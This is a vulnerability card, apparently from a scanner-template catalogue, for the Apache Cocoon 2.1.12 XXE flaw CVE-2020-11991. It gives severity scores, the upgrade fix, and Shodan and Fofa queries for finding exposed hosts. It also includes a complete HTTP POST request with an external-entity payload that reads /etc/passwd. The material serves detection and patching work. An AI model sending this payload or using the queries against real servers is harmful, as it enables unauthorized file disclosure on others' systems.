| Title | Apache Cocoon 2.1.12 - XML Injection |
|---|---|
| Author | pikpikcu |
| Severity | High |
| Impact | Successful exploitation of this vulnerability can lead to unauthorized access, data leakage, and remote code execution. |
| Remediation | Upgrade to Apache Cocoon 2.1.13 or later. |
| CVSS Score | 7.5 |
| EPSS Score | 0.93142 |
| CVE ID | CVE-2020-11991 |
| CWE ID | CWE-611 |
| Shodan Query | http.html:"Apache Cocoon"http.html:"apache cocoon" |
| Fofa Query | body="apache cocoon" |
| Tags | cve cve2020 apache xml cocoon xxe vkev vuln |
Apache Cocoon 2.1.12 is susceptible to XML injection. When using the StreamGenerator, the code parses a user-provided XML. A specially crafted XML, including external system entities, can be used to access any file on the server system.
POST /v2/api/product/manger/getInfo HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 6.2; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Connection: close
Content-Length: 176
Accept: */*
Accept-Language: en
Content-Type: text/xml
Accept-Encoding: gzip
<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY ent SYSTEM "file:///etc/passwd"> ]>
<userInfo>
<firstName>John</firstName>
<lastName>&ent;</lastName>
</userInfo>
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-11991.yaml
🦈 Packet Capture: ⬇️ Download cve-2020-11991.pcap
N/AN/A